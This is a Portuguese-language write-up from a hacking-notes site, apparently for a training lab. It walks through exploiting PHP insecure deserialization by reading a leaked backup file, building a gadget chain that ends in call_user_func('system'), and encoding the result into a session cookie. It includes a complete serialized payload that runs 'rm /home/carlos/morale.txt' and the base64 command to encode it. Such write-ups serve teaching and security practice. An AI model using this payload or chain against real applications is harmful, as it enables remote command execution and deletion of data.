> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md).

# String personalizada para cadeia de gadgets de desserialização PHP

### Desenvolvendo uma cadeia de gadgets personalizada para desserialização em PHP

A aplicação armazena a sessão em um formato serializado **cookie + codificado em Base64**. Durante a desserialização, alguns **métodos mágicos** são executados automaticamente (notavelmente `__wakeup()`), abrindo caminho para uma cadeia de gadgets que leva à execução de comandos.

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOXphcmJxN3ZncmxrdTY1dTdyb3dzeW9wODN4aWtoYyI7fQ%3d%3d
```

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"r9zarbq7vgrlku65u7rowsyop83xikhc";}
```

{% endcode %}

O comentário a seguir é fornecido:

```html
    <!-- TODO: Refatorar assim que /cgi-bin/libs/CustomTemplate.php for atualizado -->
```

<figure><img src="/files/aec618de20a245f3c8a930abd60a9e33e5493198" alt=""><figcaption></figcaption></figure>

Arquivo legível com /\~

```
/cgi-bin/libs/CustomTemplate.php~
```

#### 1) Análise de código (`CustomTemplate.php~` Arquivo de backup)

```php
<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos achou isso legal, ter uma função chamada em dois lugares... Que gênio
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, o que você estava pensando com estas descrições? Refatore, por favor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```

#### Ponto de entrada automático: `CustomTemplate::__wakeup()`

* Durante `unserialize()`, o PHP chama automaticamente `__wakeup()`.
* Aqui, `__wakeup()` chama `build_product()`.

#### Propagação para `Product`

`build_product()` faz:

* `new Product($this->default_desc_type, $this->desc)`

E em `Product::__construct()`:

* `$this->desc = $desc->$default_desc_type;`

Portanto **o código tenta acessar uma propriedade dinâmica** no `$desc` objeto, com `$default_desc_type` como o valor controlável.

#### Gadget decisivo: `DefaultMap::__get($name)`

Se `$desc` é uma `DefaultMap` objeto:

* ele não possui uma propriedade real chamada `HTML_DESC` / `TEXT_DESC` / ou outra cadeia que seja imposta,
* portanto o PHP aciona `__get($name)`,
* `__get()` executa: `call_user_func($this->callback, $name)`.

Se `callback = "system"` é definido, o resultado é `system($name)`.

#### 2) Objetivo da cadeia

Executar:

* `system("rm /home/carlos/morale.txt")`

#### 3) Construção da cadeia (lógica)

Construa um objeto:

* `CustomTemplate->default_desc_type` = **"rm /home/carlos/morale.txt"**/ (este será o nome da propriedade de `DefaultMap`, portanto o argumento passado para `system`)
* `CustomTemplate->desc` = **objeto DefaultMap**
* `DefaultMap->callback` = **"system"**

Derivado da desserialização:

1. `unserialize()` → chama `CustomTemplate::__wakeup()`
2. `__wakeup()` → `build_product()` → `Product`
3. `Product::__construct()` faz `$desc->$default_desc_type`
4. `$desc` é `DefaultMap` e a propriedade não existe → `DefaultMap::__get($name)`
5. `__get()` → `call_user_func("system", $name)` → executa o comando

#### 4) Payload PHP serializado (atenção aos comprimentos)

Payload serializado:

```json
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
```

#### Codificação Base64 para cookie

Comando:

```bash
echo 'O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}' | base64 -w 0 ; echo
```

<figure><img src="/files/0ab6075767d1b274b8b3c363d719c64b3eaca89b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
